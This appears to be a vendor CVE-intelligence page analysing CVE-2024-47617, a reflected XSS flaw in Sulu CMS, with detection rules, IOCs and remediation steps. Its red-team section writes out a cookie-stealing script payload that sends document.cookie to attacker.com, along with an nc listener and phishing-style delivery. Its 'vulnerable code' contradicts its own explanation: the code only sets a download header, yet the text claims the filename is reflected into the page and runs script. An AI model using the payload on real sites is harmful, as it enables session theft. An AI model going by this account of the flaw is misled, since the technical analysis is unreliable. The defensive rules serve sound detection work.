☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-47617

CVE-2024-47617 Cross-Site Scripting in Sulu
📅 PUBLISHED: 2024-10-03 14:24 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47617 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Sulu CMS, specifically within the SuluMediaBundle component. The flaw allows an attacker to inject arbitrary HTML or JavaScript code through a crafted media download URL. When a victim clicks on such a malicious link, the injected script executes in the context of the victim's browser session, potentially leading to data theft, session hijacking, or unauthorized actions. The vulnerability has a CVSS score of 6.1 (Medium) and affects versions prior to 2.5.21 and 2.6.5. While no public proof-of-concept (PoC) or exploit code is currently available, the risk is elevated due to the widespread use of Sulu CMS in enterprise environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Sulu CMS is a PHP-based content management system distributed via Composer (Packagist). The vulnerable component, SuluMediaBundle, is part of the core Sulu distribution. Organizations using Composer for dependency management should immediately update to the patched versions. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited content manipulation possible.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for phishing campaigns and data theft makes this a significant concern for organizations using Sulu CMS.

Deep Dive & Mechanics

The vulnerability resides in the media download URL handling within SuluMediaBundle. When a user requests a media file download, the application constructs a URL that includes user-supplied parameters (e.g., filename or format). The application fails to properly sanitize or encode these parameters before reflecting them in the response. An attacker can craft a URL such as:

https://victim.com/admin/media/download/123?filename=<script>alert('XSS')</script>

When the victim clicks this link, the server reflects the malicious script in the HTTP response without proper escaping, causing the browser to execute it. The injected script runs in the context of the Sulu admin panel, which may have elevated privileges, allowing the attacker to perform actions like creating new admin users or exfiltrating session cookies.

Vulnerable vs. Patched Code

Vulnerable Code (SuluMediaBundle < 2.5.21 / < 2.6.5):

// In MediaDownloadController.php
public function downloadAction($id, Request $request) {
    $filename = $request->query->get('filename');
    // Directly used in response without sanitization
    $response = new BinaryFileResponse($file);
    $response->setContentDisposition('attachment', $filename);
    return $response;
}

Patched Code (SuluMediaBundle >= 2.5.21 / >= 2.6.5):

// In MediaDownloadController.php
public function downloadAction($id, Request $request) {
    $filename = $request->query->get('filename');
    // Sanitize filename to prevent XSS
    $filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
    $response = new BinaryFileResponse($file);
    $response->setContentDisposition('attachment', $filename);
    return $response;
}

The patch uses a regular expression to strip all non-alphanumeric characters (except ., _, and -) from the filename parameter, effectively neutralizing any injected HTML or JavaScript.

Exploitation & Lab Setup

Red Team (Offensive)

  1. Setup: Deploy a vulnerable Sulu CMS instance (version 2.5.20 or 2.6.4) using Docker:
    docker run -d -p 80:80 sulu/sulu:2.5.20
    
  2. Craft Payload: Create a malicious URL that injects a script to steal cookies:
    http://localhost/admin/media/download/1?filename=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to a victim via email or social engineering.
  4. Capture: Set up a listener on the attacker server to receive exfiltrated data:
    nc -lvnp 80
    

Blue Team (Defensive)

  1. Detection: Monitor web server logs for unusual filename parameters containing <script> or onerror tags.
  2. Prevention: Implement a Web Application Firewall (WAF) rule to block requests with suspicious filename patterns.
  3. Response: If exploitation is suspected, immediately rotate all session tokens and review admin accounts for unauthorized changes.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /admin/media/download/* with filename parameter containing HTML/JavaScript tags.
    • Outbound connections to unknown IPs on port 80/443 from the Sulu server.
  • File IOCs:
    • Log entries in var/logs/ showing filename parameter with <script> or onerror patterns.
  • Behavioral IOCs:
    • Unexpected creation of new admin users in Sulu CMS.
    • Unusual changes to website content or settings.

Detection Engineering

YARA Rule

rule CVE_2024_47617_Sulu_XSS {
    meta:
        description = "Detects reflected XSS attempts against Sulu CMS media download endpoint"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47617"
    strings:
        $xss_pattern1 = /filename=.*<script/i
        $xss_pattern2 = /filename=.*onerror/i
        $xss_pattern3 = /filename=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Sulu CMS Media Download
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against Sulu CMS media download endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains|all:
            - '/admin/media/download/'
            - 'filename='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate filenames containing '<script' (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47617 Sulu CMS Reflected XSS Attempt"; flow:to_server,established; content:"/admin/media/download/"; http_uri; content:"filename="; http_uri; pcre:"/filename=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Patch: Upgrade Sulu CMS to version 2.5.21 or 2.6.5 (or later) via Composer:
    composer require sulu/sulu:^2.5.21
    
  2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing <script> or onerror in the filename parameter.
  3. Input Validation: Implement server-side validation for all user-supplied parameters, especially those reflected in responses.
  4. Content Security Policy (CSP): Add a strict CSP header to mitigate the impact of any XSS vulnerabilities:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    
  5. User Education: Train users to avoid clicking suspicious links, especially those containing unusual parameters.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-47617/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.